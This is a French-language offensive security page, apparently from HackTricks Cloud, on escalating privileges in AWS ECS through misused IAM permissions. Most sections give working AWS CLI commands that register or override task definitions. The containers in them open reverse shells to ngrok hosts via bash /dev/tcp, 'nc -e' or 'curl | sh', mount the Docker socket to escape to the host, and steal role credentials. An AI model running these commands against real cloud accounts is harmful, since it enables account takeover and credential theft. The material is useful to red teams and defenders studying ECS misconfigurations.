AWS - ECS Privesc
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
ECS
Plus d'informations sur ECS dans :
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:RunTask
Un attaquant abusant des permissions iam:PassRole
, ecs:RegisterTaskDefinition
et ecs:RunTask
dans ECS peut générer une nouvelle task definition avec un container malveillant qui vole les credentials metadata et l'exécuter.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impact potentiel: Privesc direct vers un autre ECS role.
iam:PassRole
,ecs:RunTask
Un attaquant disposant des permissions iam:PassRole
et ecs:RunTask
peut démarrer une nouvelle tùche ECS en modifiant les valeurs de execution role
, task role
et du container's command
. La commande CLI ecs run-task
contient le flag --overrides
qui permet de changer à l'exécution executionRoleArn
, taskRoleArn
et le container's command
sans toucher Ă la task definition.
Les rÎles IAM spécifiés pour taskRoleArn
et executionRoleArn
doivent inclure une trust policy autorisant ecs-tasks.amazonaws.com
Ă les assumer.
De plus, l'attaquant doit connaĂźtre :
- ECS cluster name
- VPC Subnet
- Security group (Si aucun security group n'est spécifié, le security group par défaut sera utilisé)
- Task Definition Name and revision
- Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Dans l'extrait de code ci-dessus, un attaquant ne remplace que la valeur de taskRoleArn
. Cependant, l'attaquant doit disposer de la permission iam:PassRole
sur le taskRoleArn
spécifié dans la commande et sur le executionRoleArn
spécifié dans la définition de tùche pour que l'attaque puisse avoir lieu.
Si le rÎle IAM que l'attaquant peut passer possÚde suffisamment de privilÚges pour récupérer l'image ECR et démarrer la tùche ECS (ecr:BatchCheckLayerAvailability
, ecr:GetDownloadUrlForLayer
, ecr:BatchGetImage
, ecr:GetAuthorizationToken
), alors l'attaquant peut spĂ©cifier le mĂȘme rĂŽle IAM pour executionRoleArn
et taskRoleArn
dans la commande ecs run-task
.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Impact potentiel : privesc direct sur n'importe quel ECS task role.
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
Comme dans l'exemple précédent, un attaquant abusant des permissions iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
dans ECS peut générer une nouvelle task definition avec un conteneur malveillant qui dérobe les identifiants de métadonnées et l'exécuter.
Cependant, dans ce cas, une instance de conteneur pour exécuter la task definition malveillante est nécessaire.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impact potentiel: Direct privesc to any ECS role.
iam:PassRole
, ecs:RegisterTaskDefinition
, (ecs:UpdateService|ecs:CreateService)
Comme dans l'exemple précédent, un attaquant abusant des iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:UpdateService
ou ecs:CreateService
permissions dans ECS peut générer une nouvelle définition de tùche avec un containeur malveillant qui vole les identifiants de métadonnées et l'exécuter en créant un nouveau service avec au moins 1 tùche en cours d'exécution.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Impact potentiel : Privesc direct vers n'importe quel rĂŽle ECS.
iam:PassRole
, (ecs:UpdateService|ecs:CreateService)
En fait, avec seulement ces permissions, il est possible d'utiliser overrides pour exécuter des commandes arbitraires dans un container avec un rÎle arbitraire, avec quelque chose comme :
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Impact potentiel : Privesc direct vers n'importe quel ECS role.
ecs:RegisterTaskDefinition
, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Ce scénario est similaire aux précédents mais sans la permission iam:PassRole
.
C'est toujours intĂ©ressant car si vous pouvez exĂ©cuter un container arbitraire, mĂȘme sans role, vous pourriez run a privileged container to escape vers le node et steal the EC2 IAM role et les other ECS containers roles s'exĂ©cutant sur le node.
Vous pourriez mĂȘme force other tasks to run inside the EC2 instance que vous compromettez pour voler leurs credentials (comme expliquĂ© dans la Privesc to node section).
warning
Cette attaque n'est possible que si le ECS cluster is using EC2 instances et non pas Fargate.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand
, ecs:DescribeTasks,
(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Un attaquant disposant des ecs:ExecuteCommand
, ecs:DescribeTasks
peut exécuter des commandes à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rÎle IAM qui y est attaché (vous avez besoin des permissions describe parce que c'est nécessaire pour exécuter aws ecs execute-command
).
Cependant, pour cela, l'instance de conteneur doit exécuter l'ExecuteCommand agent (ce qui, par défaut, n'est pas le cas).
Par conséquent, l'attaquant pourrait essayer de :
- Essayer d'exécuter une commande dans chaque conteneur en cours d'exécution
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- S'il a
ecs:RunTask
, exécutez une tùche avecaws ecs run-task --enable-execute-command [...]
- S'il a
ecs:StartTask
, exécutez une tùche avecaws ecs start-task --enable-execute-command [...]
- S'il a
ecs:CreateService
, créez un service avecaws ecs create-service --enable-execute-command [...]
- S'il a
ecs:UpdateService
, mettez Ă jour un service avecaws ecs update-service --enable-execute-command [...]
Vous pouvez trouver des exemples de ces options dans les sections précédentes d'ECS privesc.
Impact potentiel : Privesc vers un rÎle différent attaché aux conteneurs.
ssm:StartSession
Consultez la page ssm privesc pour voir comment abuser de cette permission afin de privesc vers ECS :
iam:PassRole
, ec2:RunInstances
Consultez la page ec2 privesc pour voir comment abuser de ces permissions afin de privesc vers ECS :
ecs:RegisterContainerInstance
, ecs:DeregisterContainerInstance
, ecs:StartTask
, iam:PassRole
Un attaquant disposant de ces permissions pourrait potentiellement enregistrer une instance EC2 dans un cluster ECS et y exécuter des tùches. Cela pourrait permettre à l'attaquant d'exécuter du code arbitraire dans le contexte des tùches ECS.
- TODO : Est-il possible d'enregistrer une instance depuis un compte AWS différent pour que les tùches s'exécutent sur des machines contrÎlées par l'attaquant ?
ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, ecs:DescribeTaskSets
note
TODO : Tester ceci
Un attaquant disposant des permissions ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
et ecs:DescribeTaskSets
peut créer un task set malveillant pour un service ECS existant et mettre à jour le task set primaire. Cela permet à l'attaquant de exécuter du code arbitraire au sein du service.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impact potentiel: Exécuter du code arbitraire dans le service affecté, pouvant compromettre son fonctionnement ou exfiltrer des données sensibles.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.